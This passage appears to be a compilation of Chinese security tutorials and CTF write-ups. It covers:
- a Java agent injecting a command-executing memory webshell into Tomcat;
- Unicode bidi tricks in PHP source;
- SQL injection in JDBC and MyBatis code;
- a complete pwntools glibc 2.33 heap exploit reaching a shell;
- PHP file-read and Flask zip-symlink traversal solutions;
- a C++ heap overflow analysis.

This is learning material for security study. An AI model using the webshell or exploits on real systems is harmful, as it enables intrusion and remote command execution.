"int a = -1;" +
"while ((a = in.read(b)) != -1) {" +
"baos.write(b, 0, a);" +
"}" +
"response.getWriter().println(\"<pre>\" + new String(baos.toByteArray()) + \"</pre>\");" +
"}" +
"}}";
ctMethod.insertBefore(source);
System.out.println("okokkkkkkkkkkkkkkkkkkkkkkkkkkkkk");
byte[] byteCode = ctClass.toBytecode();
ctClass.detach();
return byteCode;
} catch (Exception e) {
e.printStackTrace();
}
return null;
}
}
},true);
instrumentation.retransformClasses(Class.forName("org.apache.catalina.core.ApplicationFilterChain"));
}
}
打包成jar,然后启动spring boot:
开始注入:
java -Djava.library.path=YOUR_PATH_TO_JDK/jre/bin -cp YOUR_PATH_TO_JDK/lib/tools.jar:TestAgentMain.jar TestAgentMain demo-0.0.1-SNAPSHOT.jar memshell.jar
成功执行命令:
总结
本文借着公开的文章学习了Java Agent相关技术,分别对JVM运行前和运行后的字节码修改进行了复现,现在JAVA内存马越来越流行,借着反序列化等漏洞可以悄无声息的上一个Webshell,如何发现此类攻击手段也是一个重要战场。
附1:https://xz.aliyun.com/t/9450
附2:https://blog.csdn.net/qq_41874930/article/details/121284684
眼见不为实的show_source
https://www.yijinglab.com/pages/CTFLaboratory.jsp前言
最近,Err0r师傅把他们新生赛的赛题源码甩给我,我直接点开ezphp,发现这题很巧妙,题目源码不长,并且很有意思!这里面涉及到的知识点在之前也是比较少接触到的。因此,这篇文章将会对这道题从解题再到原理剖析逐步深入。
解题尝试
首先,题目源码在网页中打开是这样的
当一个Web方向的CTFer初步审计完源代码后,一定会觉得,这道题怎么这么简单,不就传两个参数就能输出flag了嘛
所以,Web手在初步审计完这道题之后,就会毫不犹豫地打出自己的一个payload(包括我):
?username=admin&password=s3cctf
这个时候Web手就纳闷了,命名传参都是对的怎么不输出flag呢?
经过仔细地查看题目后就会发现,这源代码眼见不为实!
我明明只选中了s3c到pass的部分,怎么后面注释的部分也被选中了?
这里面可能会有一些蹊跷?
于是下定决心审计一下源代码
这一看,发现浏览器渲染的和源代码有出入。原本$_GET后面是[password],怎么这后面变成了CTF了呢?
审计源代码可能对解题也没有什么帮助,那么就把源码复制下来之后看看
复制下来之后打开,和浏览器解析的做一个比较
好家伙,这个时候浏览器解析的和用sublime打开的又不一样了
注释后面的CTF跑到了前面的s3cctf中去了,两个&&符号之间又多了奇奇怪怪的符号
因此浏览器和sublime都不能相信了,只能把文件用winhex打开才相对最可信
用winhex打开如下:
在这里我们就能看出变量名以及我们要传的参数值到底是什么了
其中需要的参数值如下:
也就是:
E2 80 AE E2 81 A6 43 54 46 E2 81 A9 E2 81 A6 73 33 63 63 74 66
而变量名为:
E2 80 AE E2 81 A6 53 33 63 E2 81 A9 E2 81 A6 70 61 73 73 77 6F 72 64
因此将其进行URL编码后传参:
?username=admin&%E2%80%AE%E2%81%A6%53%33%63%E2%81%A9%E2%81%A6%70%61%73%73%77%6F%72%64=%E2%80%AE%E2%81%A6%43%54%46%E2%81%A9%E2%81%A6%73%33%63%63%74%66
即可得到flag:
那么这道题究竟是怎么出的?原理是什么?接下来的篇幅将会进行分析!
原理剖析
在探究原理之前,我们先要有一双善于发现异常的眼睛
除了上面提到的一个异常(选中部分字符,其余未被选中的字符也被选中了),其实还有两个异常点。
第三行注释行的HelloCTFer也有异常
我们将其进行选中
明明选中了//到CTF的部分,中间的Hello却没有被选中
我们再换个姿势进行选中
明明只选中了// He的部分,后面的CTFer 却也被选中了
因此我们可以确定,在//后面一定有特殊的字符,使得原本应该在Hello前面的CTFer显示在了后面。
第四行最后的注释S3cCTF颜色有问题
同样,如果仔细观察第四行的注释部分也会发现显示有点问题
这里的代码都是通过show_source函数进行打印的,而show_source函数在高亮源代码的时候,其代码颜色是按照php.ini中的设置来的。
也就是说,在注释后面的蓝色S3c本身应该属于前面password中的内容,而后面的CTF同样也应该是属于前面s3cctf中的内容
那么究竟是哪些神秘的字符导致这样的现象呢?
同样我们还是打开winhex
我们先查看比较短的// HelloCTFer注释行,对其进行分析。
内容如下:
2F 2F 20 E2 80 AE E2 81 A6 43 54 46 65 72 E2 81 A9 E2 81 A6 48 65 6C 6C 6F
我们将其稍作拼接,将可见的ASCII码字符拼接在一起
拼接之后的内容如下:
2F2F20 E280AEE281A6 4354466572 E281A9E281A6 48656C6C6F
稍作分析,对应的内容就是这样:
我们再对特殊字符进行分析,发现这个特殊字符应该是三个字节三个字节分开的
所以这里面一共出现了三组三个字节的编码分别是:E280AE、E281A6、E281A9
接下来对这三个特殊字符进行分析:
E280AE
对于这个特殊字符,它是Unicode编码U+202E转UTF-8对应的十六进制编码
它的名字叫做从右往左强制符
在unicode-table.com网站中对其介绍如下:
它的作用就是:根据内存顺序从右至左显示字符
我们可以写一个Python小脚本,来看看这个字符是怎么颠覆我们的认知的。
if __name__ == "__main__":
print("Hello" + u"\u202e" + "World")
输出结果如下:
可以看到,后面的World变成了dlroW,并且当我们选中的H到r字符时,后面的oW却被选中了
E281A6
对于这个特殊字符,它的Unicode编号为:U+2066
外网上对这个字符作用描述是:
说人话就是:这之间的字符从左到右显示,不影响外围字符
E281A9
这个字符的Unicode编号为:U+2069
它的作用其实就是:作为RLI、LRI、FSi翻转结束的标识
这个时候我们再把上面的HelloCTFer拿出来进行分析:
我们就可以知道那段注释行的原理
原理就如下图所示
浏览器进行解析的时候,自然是按照上方十六进制的顺序进行解析,但是解析并不代表着输出,浏览器的输出结果需要根据底层字符的含义进行输出,当浏览器看到E280AE时,就知道后面的字符需要从右到左显示,而解析到E281A6时,浏览器就会知道将后面的字符从左往右输出,也就是CTFer输出结果仍然为CTFer而不是reFTC。当浏览器按照这样的规则把Hello解析完成之后,便会根据E280AE的从右往左输出的原则,将CTFer与Hello两个交换顺序,最终我们在浏览器中看到的结果便是HelloCTFer。
即使输出的结果是HelloCTFer,符合我们的认知,但是当我们用鼠标进行拖动的时候,电脑还是会那么贴心的帮我们把特殊符号加上,导致我们拖动Hello的时候,CTFer也被选中了
参考资料
https://www.w3.org/International/questions/qa-bidi-unicode-controls
https://unicode-table.com/cn/202E/
https://unicode-table.com/cn/2066/
https://unicode-table.com/cn/2069/
通过某大学生的的毕业设计复习java-sql审计
sql注入原理:业务端代码从客户端接收到恶意payload之后没有进行过滤直接进行sql语句拼接并且执行造成sql注入
本人正在拜读一本代码审计的书感觉非常的棒,刚刚好室友在挑战自己,就顺便整理一下知识点!
1.原生jdbc连接无过滤造成sql注入
我们看下面这段代码,首先从客户端接收传进来的id的值拼接成sql语句,然后Statement去编译拼接的sql语句,将结果传给rs之后读出,这里没有对传进来的值进行任何过滤,尝试去构造sql语句造成注入
String sql = "select * from user where id ="+req.getParameter("id");
PrintWriter out = resp.getWriter();
out.println("Statement Demo");
out.println("SQL: "+sql);
try {
Statement st = conn.createStatement();
ResultSet rs = st.executeQuery(sql);
while (rs.next()){
out.println("<br>Result: "+ rs.getObject("name"));
}
} catch (SQLException throwables) {
throwables.printStackTrace();
}
正常访问
构造测试payload进行测试,可以看到这边是执行了构造过的payload,返回了开发者不想让我们看到的内容
2.原生jdbc预编译开发失误导致sql注入
上面第一种存在sql注入的情况是因为每次执行都会将sql语句进行编译在数据库中执行,为了防止sql注入,可以使用prepareStatement进行预编译sql语句,使用?占位符来传可改变的值,但是因为sql语句已经编译过,所以按道理来说这里传进来的值只会被当作字符串数据处理不作为sql语句的一部分,传进来的值不参与编译也就是不会在sql里执行,但是开发者也可能出错就是在使用prepareStatement时仍然使用sql拼接而不是用占位符或者在预编译之后再次执行sql语句!
我们首先看一下不存在sql注入的代码,使用问号占位符,预编译sql语句,从下面第二张图可以看到这时候sql语句是一个问号而我们传进去的值不在数据库中运行并且没有返回结果的!可以比较好的防止sql注入,这时候我们来讲讲为什么预编译可以防止sql注入,当我们sql执行的时候大致会经历几个阶段分别是编译--优化--缓存--执行,当使用prepareStatement时,他是将上述的步骤已经执行过了,将结果放到了缓存当中,用户的输入只作为数据进行填充而不是sql的一部分,然后服务器从缓存中获得已经编译之后的语句,替换掉用户输入的数据执行以达到防止sql注入的目的!
String sql = "select * from user where id = ?";
PrintWriter out = resp.getWriter();
out.println("prepareStatement Demo");
out.println("SQL: "+sql);
try {
PreparedStatement pst = conn.prepareStatement(sql);
pst.setString(1,req.getParameter("id"));
ResultSet rs = pst.executeQuery();
while (rs.next()){
out.println("<br>Result: "+ rs.getObject("id"));
}
看了安全代码,我们看以下预编译依旧存在问题的代码
虽然使用预编译但是sql语句依旧是拼接的!就会造成sql注入,看第一行,开发者忘记使用占位符导致sql语句依旧是拼接进去的
String sql = "select * from user where id ="+req.getParameter("id");
PrintWriter out = resp.getWriter();
out.println("prepareStatement Demo");
out.println("SQL: "+sql);
try {
PreparedStatement pst = conn.prepareStatement(sql);
ResultSet rs = pst.executeQuery();
while (rs.next()){
out.println("<br>Result: "+ rs.getObject("id"));
}
} catch (SQLException throwables) {
throwables.printStackTrace();
}
3.分析mybatis框架类sql注入的情况
使用mybatis的好处是将sql整合到一个地方避免代码中出现大量的sql语句并且其接近原生sql。比较灵活,但是当xml里的sql语句是用$做占位符时,sql语句依旧是拼接而成的,这时候便会存在sql注入
select * from user1 where name = ${name}
下图可以看到传进来的值已经被执行了
4.审计室友的毕业设计
搭好室友的毕业设计之后,简单看了一下,这是一个商城后台管理系统,SSM框架的,然后找了一下入口点,发现只有登录界面是开放的入口。其他的地方权限都做了token验证,然后看他登录是怎么写的
@RequestMapping("/login")
public String login(User user)
{
if (userService.login(user)==1)
{
return "head";
}
else {
return "login";
}
}
看看上面写的,就很简单粗暴,然后就跟进去看server层里看看写了什么判断逻辑没有。
@Override
public int login(User user) {
return userMapper.login(user);
}
看了一下也没问题,继续往下走,发现室友mybatis里的sql全部是使用$拼接的!这不就成了么
<!-- 登陆验证-->
<select id="login" parameterType="user" resultType="java.lang.Integer">
select count(*)
from user
where user_name = '${userName}'
and password = '${password}'
</select>
根据一开始controller里写的,是判断返回值等于1,然后就可以登录后台,这时候就可以构造sql让返回值等于1!
然后他所有的sql都是使用$,存在大量的sql注入,以此说明了读书还是要认真!不要老听老头过时的技术!自己要有思考!
前沿版本2.33下的堆任意地址申请
前言
今天(2021.11.28)NCTF的题目让我大开眼界,上来最低利用版本都是2.31,新生都如此生猛了吗,由于我比较菜只搞定了这个ezheap,2.33版本的题目我也是第一次做,花了1个小时fuzz出了这个玩意是异或加密然后又花了30多分钟去理顺逻辑,算是收获满满吧
由于这个2.33的利用我在网上并没有看见有文章发布,我就写一下供各位pwn学习参考。
前置知识
UAF,异或加密,hook利用
版本新增保护介绍
2.33版本的glibc不同于以往,对于堆块地址的释放之后,对于同一大小的fastbin以及tcache有效的fd永远只有一个,剩余的bin照旧。
对于2.33版本下对于fastbin以及tcache的fd指针会被进行异或操作加密,用来异或的值随堆地址发生改变。
举例利用
例题:NCTF2021 ezheap
漏洞分析
如下存在UAF漏洞,对于heap的size位置零,但是指针未置零,可以造成堆复用
tips:可以利用glibc-all-in-one配合patchelf来建立题目的运行环境
命令如下
patchelf --set-interpreter ./glibc-all-in-one/libs/2.33-0ubuntu5_amd64/ld-2.33.so --set-rpath ./glibc-all-in-one/libs/2.33-0ubuntu5_amd64 ezheap再说点骚操作,题目一般只给libc没有ld,可以直接把all in one的libc替换成题目给的,然后再去patchelf就可以使用上题目的libc了
低于2.33常规思路攻击
通常的思路就是先free一次但是heaparry指针保留,再申请回来就有一个新的指针指向同一个地址,直接uaf任意地址申请,attack free hook 梭哈getshell
2.33绕过方法
First 堆地址的泄露
首先申请两个chunk,然后直接free掉,此时这两个堆的fd位置的内容如下
0x5569374d8290: 0x0000000000000000 0x0000000000000091
0x5569374d82a0: 0x00000005569374d8 0x00005569374d8010
0x5569374d82b0: 0x0000000000000000 0x0000000000000000
0x5569374d82c0: 0x0000000000000000 0x0000000000000000
0x5569374d82d0: 0x0000000000000000 0x0000000000000000
0x5569374d82e0: 0x0000000000000000 0x0000000000000000
0x5569374d82f0: 0x0000000000000000 0x0000000000000000
0x5569374d8300: 0x0000000000000000 0x0000000000000000
0x5569374d8310: 0x0000000000000000 0x0000000000000000
0x5569374d8320: 0x0000000000000000 0x0000000000000091
0x5569374d8330: 0x0000556c61def678 0x00005569374d8010
由于UAF漏洞的存在,直接泄露出chunk0和chunk1的fd,然后进行异或操作我们可以得到 heap:0x5569374d82a0
也就是此时chunk0的content addr,这个地址我们先记录下来
(由于我脚本是分多次启动打断点调试,数据不是同一批,具体可以自己去用脚本去调试)
Second 获取某个堆块的对应的异或key值
我们继续进行,假设我们已经填充好了tcache并且释放了一个chunk进入了unsortedbin,目前的heap如下
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x5650e8eb5000
Size: 0x291
Allocated chunk | PREV_INUSE
Addr: 0x5650e8eb5290
Size: 0x91
Allocated chunk | PREV_INUSE
Addr: 0x5650e8eb5320
Size: 0x91
Allocated chunk | PREV_INUSE
Addr: 0x5650e8eb53b0
Size: 0x91
Allocated chunk | PREV_INUSE
Addr: 0x5650e8eb5440
Size: 0x91
Allocated chunk | PREV_INUSE
Addr: 0x5650e8eb54d0
Size: 0x91
Allocated chunk | PREV_INUSE
Addr: 0x5650e8eb5560
Size: 0x91
Free chunk (tcache) | PREV_INUSE
Addr: 0x5650e8eb55f0
Size: 0x91
fd: 0x56558de5dbc5
Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x5650e8eb5680
Size: 0x91
fd: 0x7f95da868c00
bk: 0x7f95da868c00
Allocated chunk
Addr: 0x5650e8eb5710
Size: 0x90
Top chunk | PREV_INUSE
Addr: 0x5650e8eb57a0
Size: 0x20861
bin状态如下
pwndbg> bin
tcachebins
0x90 [ 7]: 0x5650e8eb5600 ◂— 0x56558de5dbc5
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x5650e8eb5680 —▸ 0x7f95da868c00 (main_arena+96) ◂— 0x5650e8eb5680
smallbins
empty
largebins
empty
此时用第一步方法得到的堆地址是 0x5650e8eb52a0
然后为了形成堆复用,我们会再去add一个0x90的chunk,此时的heaparry如下
pwndbg> x/32gx 0x40a0+0x5650e8348000
0x5650e834c0a0: 0x00005650e8eb52a0 0x00005650e8eb5330
0x5650e834c0b0: 0x00005650e8eb53c0 0x00005650e8eb5450
0x5650e834c0c0: 0x00005650e8eb54e0 0x00005650e8eb5570
0x5650e834c0d0: 0x00005650e8eb5600 0x00005650e8eb5690
0x5650e834c0e0: 0x00005650e8eb5720 0x00005650e8eb5600
接着我们可以看下当前的bin情况如下
pwndbg> bin
tcachebins
0x90 [ 6]: 0x5650e8eb5570 ◂— 0x56558de5da55
我们刚才泄露的地址是 0x5650e8eb52a0 现在tc最新的地址是 0x5650e8eb5570
我们现在可以得到key值就是key=0x5650e8eb5570^0x5650e8eb52a0=0x5650e8f25
上面我也提到了这个key是变化的,因此我们还要爆破下,但是爆破是可以找到范围的,我们可以利用常规的错误打法
先看看泄露的key和需要的key的一个偏移(很好玩的是这个偏移也是随机的)
我们再来一次之前的操作然后得到的最新的泄露key是0x5612a9a54
我们看看错误的bin如下
pwndbg> bin
tcachebins
0x90 [ 6]: 0x7f8b1b63e5e4
正确的free hook地址:0x7f8e7a497e20
libc_key=0x7f8e7a497e20^0x7f8b1b63e5e4=0x5612a9bc4
hex(0x5612a9bc4-0x5612a9a54)=0x170
我试了很多次的调试,libc_key有0x170,-0x170,0x190,-0x190当然实际情况实际调试,只要调试出来的值就是有可能的偏移
最后把free_hook^libc_key=encrypto_free_hook 然后常规套路直接getshell
exp
from pwn import *
r=process('./ezheap')
#r=remote('129.211.173.64',10002)
#libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc=ELF('libc-2.33.so')
#context.log_level='debug'
def add(size,con):
r.sendlineafter(">> ",'1')
r.sendlineafter("Size: ",str(size))
r.sendlineafter("Content: ",con)
def edit(idx,con):
r.sendlineafter(">> ",'2')
r.sendlineafter("Index: ",str(idx))
r.sendafter("Content: ",con)
def show(idx):
r.sendlineafter(">> ",'4')
r.sendlineafter("Index: ",str(idx))
def dele(idx):
r.sendlineafter(">> ",'3')
r.sendlineafter("Index: ",str(idx))
flag=1
while flag:
#r=process('./ezheap')
r=remote('129.211.173.64',10002)
for i in range(9):
add(128,'1')
dele(0)
show(0)
he0=u64(r.recv(6)+b'\x00'*2)
print(hex(he0))
dele(1)
show(1)
he1=u64(r.recv(6)+b'\x00'*2)
print(hex(he1))
heap=he0^he1
print("heap:"+hex(heap))
#gdb.attach(r)
for i in range(2,8):
dele(i)
show(5)
he=u64(r.recv(6)+b'\x00'*2)
print(hex(he))
show(6)
he6=u64(r.recv(6)+b'\x00'*2)
print(hex(he6))
show(7)
base=u64(r.recv(6)+b'\x00'*2)-0x1e0c00
print(hex(base))
#gdb.attach(r)
free_hook=base+libc.sym["__free_hook"]
print(hex(free_hook))
sys=base+libc.sym['system']
add(128,'')
tagerheap=heap+0x2d0
print("target heap:"+hex(tagerheap))
tagerheap_key=tagerheap^he
print("target heap_key:"+hex(tagerheap_key))
libc_key=tagerheap_key+0x170
print("target libc_key:"+hex(libc_key))
#gdb.attach(r)
dele(6)
edit(9,p64(free_hook^libc_key)+b'\n')
add(128,'/bin/sh\x00')
add(128,'1')
edit(11,p64(sys)+b'\n')
#gdb.attach(r)
dele(6)
r.sendline("ls")
a=r.recv()
if b'bin' in a:
r.interactive()
print(a)
flag=0
else:
r.close()
题目附件下载链接
链接:https://pan.baidu.com/s/1YKqJOuGZrueLCkKxFwu2bA 提取码:urk1
对一道n1ctf赛题的详细分析
最近做了一道N1CTF2021的题目,学到了不少,分享给大家共同学习。
0x01 题目详情
题目如下:
源码如下:
<?php
//flag is /flag
$path=$_POST['path'];
$time=(isset($_GET['time'])) ? urldecode(date(file_get_contents('php://input'))) : date("Y/m/d H:i:s");
$name="/var/www/tmp/".time().rand().'.txt';
$black="f|ht|ba|z|ro|;|,|=|c|g|da|_";
$blist=explode("|",$black);
foreach($blist as $b){
if(strpos($path,$b) !== false){
• die();
}
}
if(file_put_contents($name, $time)){
• echo "<pre class='language-html'><code class='language-html'>logpath:$name</code></pre>";
}
$check=preg_replace('/((\s)*(\n)+(\s)*)/i','',file_get_contents($path));
if(is_file($check)){
• echo "<pre class='language-html'><code class='language-html'>".file_get_contents($check)."</code></pre>";
}页面下方输出的是日志文件。要拿到flag,我首先关注到下方的两个if语句,先看最下面这个:
if(is_file($check)){
echo "<pre class='language-html'><code class='language-html'>".file_get_contents($check)."</code></pre>";
}如果$check是一个文件,那么读取他的内容,并输出。如果$check的值刚好是/flag,那这道题就解出来了。而$check是由这行代码来的:
$check=preg_replace('/((\s)*(\n)+(\s)*)/i','',file_get_contents($path));此处使用了preg_replace函数,将$path文件内容里的换行空格等内容删除。而$path最初是通过POST请求提交的,之后进行了过滤,不能包含一些字符:
$black="f|ht|ba|z|ro|;|,|=|c|g|da|_";
$blist=explode("|",$black);
foreach($blist as $b){
if(strpos($path,$b) !== false){
die();
}除了POST请求提交path参数我们可以控制,另外一个参数time通过GET方式和伪协议的方式我们也可以控制:
$time=(isset($_GET['time'])) ? urldecode(date(file_get_contents('php://input'))) : date("Y/m/d H:i:s");
$name="/var/www/tmp/".time().rand().'.txt';
if(file_put_contents($name, $time)){
echo "<pre class='language-html'><code class='language-html'>logpath:$name</code></pre>";而$time的内容会被写入$name所在的文件中。
0x02 利用思路
整个过程如下:
我们可控的地方有path参数和time参数,time参数的内容最终会写入到name文件中。name文件会在每次请求的时候输出,我们不可控,但能够得知name文件的路径。path参数对应的文件名可控,但其文件内容不可控,而check文件名来源于path文件的内容,最终会读取并输出check文件的内容。
所以,我们要想读取/flag的内容,我们就要使check文件内容等于/flag,即可直接在网页中显示出/flag的内容。check文件名可通过path参数进行控制,而name文件内容我们可以通过time参数控制,所以,我们要想方法把/flag这个字符串写入name文件内容中,然后将check文件名设置为name文件即可。
0x03 利用过程
第一步,我们首先将/flag字符串写入time文件。
程序通过如下代码获得time的值:
$time=(isset($_GET['time'])) ? urldecode(date(file_get_contents('php://input'))) : date("Y/m/d H:i:s");其中涉及到php的伪协议php://input,它可以读取我们POST请求的内容,time参数如果被设置,同时有POST数据,POST数据将会赋值给$time,我在本机进行调试如下:
内容写入到time对应的txt文件中:
为什么写入的内容不是/flag?因为有date函数并结果urldecode,所以,改成如下即可:
查看对应的文件即为/flag:
而我们将path参数设置为time对应的txt文件名,那么check文件名就会被设置为/flag,最终读取输出flag。
按照本地测试的效果,首先传递time参数,将/flag写入文件,然后记下页面输出的txt文件路径:
然后再次请求时,指定path为txt文件路径/var/www/tmp/16375737971145120615.txt,得到flag内容:
对一道CTF题的详细分析
https://www.yijinglab.com/pages/CTFLaboratory.jsp0x01 前言
最近身边有萌新想打ctf,我作为一个曾经接触过一点点ctf的业余菜鸡,就索性做了一道Web题。这篇文章主要是面向想开始打ctf的萌新,所以很多地方可能都比较简单。如有错误之处,欢迎各位指正。
0x02 Flask 简介
Flask库是一个非常小型的Python Web开发框架。它有两个主要依赖:路由、调试和 Web 服务器网关接口(Web Server Gateway Interface,WSGI)子系统由 Werkzeug(http://werkzeug.pocoo.org/)提供;模板系统由 Jinja2(http://jinja.pocoo.org/)提供。Werkzeug 和 Jinjia2 都是由 Flask 的核心开发者开发而成。这里我们要重点了解一下路由。
Flask需要知道对每个 URL 请求该运行哪些代码,所以保存了一个 URL 到Python 函数之间的映射关系。处理 URL 和函数之间关系的程序称为路由。在 Flask 程序中定义路由的最简便方式,是使用程序实例提供的 app.route 修饰器,把修饰的函数注册为路由。下面的例子说明了如何使用这个修饰器声明路由:
@app.route('/')
def index():
return '<h1>Hello World!</h1>'
这个例子就是把 index() 函数注册为程序根地址的处理程序。如果部署程序的服务器域名为 www.example.com,在浏览器中访问 http://www.example.com 后,会触发服务器执行 index() 函数。这个函数的返回值称为响应,是客户端接收到的内容。如果客户端是 Web 浏览器,响应就是显示给用户查看的文档。
要启动服务器也很简单,程序实例用 run 方法启动 Flask 集成的开发 Web 服务器即可:
if __name__ == '__main__':
app.run(debug=True)
其中,name=='main' 是 Python 的惯常用法,在这里确保直接执行这个脚本时才启动开发Web 服务器。服务器启动后,会进入轮询,等待并处理请求。轮询会一直运行,直到程序停止,比如按Ctrl-C 键。有一些选项参数可被 app.run() 函数接受用于设置 Web 服务器的操作模式。在开发过程中启用调试模式会带来一些便利,比如说激活调试器和重载程序。要想启用调试模式,我们可以把 debug 参数设为 True。要想让所有主机都可以访问,可以设置参数host="0.0.0.0"。
0x03 详细分析
赛题如下:
该Web题下载下来以后源码如下:
import os
import json
from shutil import copyfile
from flask import Flask,request,render_template,url_for,send_from_directory,make_response,redirect
from werkzeug.middleware.proxy_fix import ProxyFix
from flask import jsonify
from hashlib import md5
import signal
from http.server import HTTPServer, SimpleHTTPRequestHandler
os.environ['TEMP']='/dev/shm'
app = Flask("access")
app.wsgi_app = ProxyFix(app.wsgi_app, x_for=1 ,x_proto=1)
@app.route('/',methods=['POST', 'GET'])
def index():
if request.method == 'POST':
f=request.files['file']
os.system("rm -rf /dev/shm/zip/media/*")
path=os.path.join("/dev/shm/zip/media",'tmp.zip')
f.save(path)
os.system('timeout -k 1 3 unzip /dev/shm/zip/media/tmp.zip -d /dev/shm/zip/media/')
os.system('rm /dev/shm/zip/media/tmp.zip')
return redirect('/media/')
response = render_template('index.html')
return response
@app.route('/media/',methods=['GET'])
@app.route('/media',methods=['GET'])
@app.route('/media/<path>',methods=['GET'])
def media(path=""):
npath=os.path.join("/dev/shm/zip/media",path)
if not os.path.exists(npath):
return make_response("404",404)
if not os.path.isdir(npath):
f=open(npath,'rb')
response = make_response(f.read())
response.headers['Content-Type'] = 'application/octet-stream'
return response
else:
fn=os.listdir(npath)
fn=[".."]+fn
f=open("templates/template.html")
x=f.read()
f.close()
ret="<h1>文件列表:</h1><br><hr>"
for i in fn:
tpath=os.path.join('/media/',path,i)
ret+="<a href='"+tpath+"'>"+i+"</a><br>"
x=x.replace("HTMLTEXT",ret)
return x
os.system('mkdir /dev/shm/zip')
os.system('mkdir /dev/shm/zip/media')
app.run(host="0.0.0.0",port=8080,debug=False,threaded=True)
接下来就开始详细介绍。
这是一个用来实现文件在线解压的网站,首先看首页对应的index函数,当访问网站首页时,可以采用GET和POST请求两种方式,对应的响应函数为index函数。题目里还有两个html文档,一个用来当上传文件时,一个用来渲染页面,这里就不贴出来了。当在首页通过html上传文档时,会执行index函数,会执行如下命令来删除文件:
rm -rf /dev/shm/zip/media/*
然后拼接路径,并将上传的文件保存到这个路径:/dev/shm/zip/media/tmp.zip
之后执行命令解压:
timeout -k 1 3 unzip /dev/shm/zip/media/tmp.zip -d /dev/shm/zip/media/
解压后将压缩文件删除:
rm /dev/shm/zip/media/tmp.zip
第二个函数是media函数,有三种url请求都由这个函数来响应,其中有一个需要特别关注的,就是
@app.route('/media/<path>',methods=['GET'])
这是动态路由,就是当请求的时候如果在media的后面再加上一个字符串,可以将这个字符串作为参数传递给path变量,执行media函数中的内容:
def media(path=""):
npath=os.path.join("/dev/shm/zip/media",path)
if not os.path.exists(npath):
return make_response("404",404)
if not os.path.isdir(npath):
f=open(npath,'rb')
response = make_response(f.read())
response.headers['Content-Type'] = 'application/octet-stream'
return response
else:
fn=os.listdir(npath)
fn=[".."]+fn
f=open("templates/template.html")
x=f.read()
f.close()
ret="<h1>文件列表:</h1><br><hr>"
for i in fn:
tpath=os.path.join('/media/',path,i)
ret+="<a href='"+tpath+"'>"+i+"</a><br>"
x=x.replace("HTMLTEXT",ret)
return x
仔细观察可以看到,path作为参数会被拼接到npath变量中,然后当npath不存在时,返回404;当npath不是目录时,会使用open函数打开,并返回给请求者。题目中提到了flag位于根目录,而path我们又可以控制,那么我们只要能够通过一种方式,将npath变成/flag是不是就可以了呢?心里想,直接用相对路径../实现路径穿越不就妥了?这么简单的吗?
0x04 峰回路转
说干就干,我把path设置成../../../../flag,直接在浏览器请求http://example.com/media/../../../../flag 结果发现不对,浏览器直接把我这些../全去掉了?url变成了http://example.com/media/flag,whatfuck? 第一反应是浏览器的问题,那就换个浏览器,结果发现也不行,然后想了想,那就用burp suite吧,结果还是不行。
最后,我在自己电脑上运行这个代码,开始各种调试,最后发现把斜杠换成两个反斜杠就可以了,能够实现路径穿越,读取上一层的文件内容,可是换成题目中就是不行。我仔细想了想应该是因为我本地是windows,而服务器是Linux,所以才不行的。眼看着时间不早了该睡觉了,还是没搞出来,于是喝了一杯茶,想了想,最后灵机一动,还是没想出来怎么搞。算了,睡觉吧。
到了第二天早上,我觉得这个必须得搞定。于是,我想到了Linux中的软链接!突然一下子就明白该怎么搞了!于是,打开我尘封已久的kali虚拟机,然后慢慢悠悠的敲下了如下命令:
成功创建了一个指向/flag的软链接,但是这个软链接怎么利用呢?这个网站既然是用来在线解压的,那我就把软链接打成一个压缩包传上去,它直接就会被解压到当前目录。然后我直接点击该文件,直接就下载下来一个车文件,打开即可看到flag内容为:
flag{NeV3r_trUSt_Any_C0mpresSeD_file}
最后终于搞定了,这一刻还是很开心的。作为一个业余ctf菜鸡选手,实在是不容易。还是要多做题,多开阔眼界,学习各种骚操作!
CTF中一道C++数据结构堆风水pwn的利用分享
分享一道CTF线下比赛中由c++编写的一道高质量赛题。
附件领取:关注【蚁景网安实验室】公众号,回复 赛题 即可领取
https://www.yijinglab.com/pages/CTFLaboratory.jsp
初步分析
程序运行起来看起来似乎是一道常规的菜单堆题:
libc环境:
是Glibc 2.27-3ubuntu1.4,这个版本与2.31版本很像,都有key机制,一定程度上防止了double free的攻击。
回到程序,程序的功能有插入,展示和删除,我们具体用IDA打开来看看程序是个什么逻辑。
可以看到函数列表有非常多的函数(原题去除了符号表,笔者经过逆向重命名了一些函数符号),并且使用c++编写,逆向起来难度更大,如果采取常规的静态分析手段,可能会花费很大的精力,由于题目名字是cxx_and_tree,我们猜测整个程序是用树这种数据结构来存储信息,最经典的莫过于二叉树,我们可以来写个demo来测试程序,如果申请以下堆块,那么堆结构如下面的图:
add(0, 0x60, 'a')
add(4, 0x60, 'a')
add(2, 0x60, 'a')
add(9, 0x60, 'a')
add(3, 0x60, 'a')
add(7, 0x60, 'a')
其中0x40大小的为node部分数据,其余大小的为其data数据,将其画为二叉树长成如下样子
左右子树根据其index分如上图,并且通过观察每个node的节点可以确定程序是用二叉树来存储数据。
经过逐步调试和逆向加深对程序的理解后,笔者分析node结构体如下:
struct node
{
__int64 idx; // 节点号
__int64 user_size; // 用户输入的size
__int64 *self_heap_buf; // 存储数据的buf
node *left; // 左孩子
node *right; // 右孩子
node *father; // 父节点
};具体的漏洞和代码逆向请看下文。
漏洞分析与逻辑触发点
漏洞位于当我们删除某个二叉树节点的时候,如果该节点有左右子树,会调用一个memcpy的函数,这个函数的对于节点size的处理是有问题的。
在申请节点的时候,其size的算法是这样的:
做了一个类似于align的操作,这个操作是很安全的,人为扩展了一下chunk,使得我们能够申请的最大的size和其align之后最小的size一样大,但是下面的删除节点的操作就有bug了:
v2 = (unsigned __int64)tmp_target->user_size >> 3;写个poc来看下我们能溢出的字节数量
def poc():
for size in range(0x10, 0xff + 1):
biggerSize = ((size >> 3) + 1) * 8
smallerSize = (size >> 3) * 8
if biggerSize > smallerSize:
print("size:{}, biggerSize:{}, smallerSize:{}".format(hex(size), hex(biggerSize), hex(smallerSize)))
poc()
注意到我们在触发这个逻辑的时候,有部分size是比biggerSize要小的,最多可以溢出7字节。
整个删除节点的逻辑如下:
想要到达漏洞点所在的位置,则该节点必须同时拥有左右孩子节点才可以。
分析下如果该节点同时拥有左右孩子节点,那么删除该节点的时候发生的流程大致如下:
首先是获得该节点中右子树中最小的元素(按idx确定大小,因为下面一直走的是左子树的逻辑)
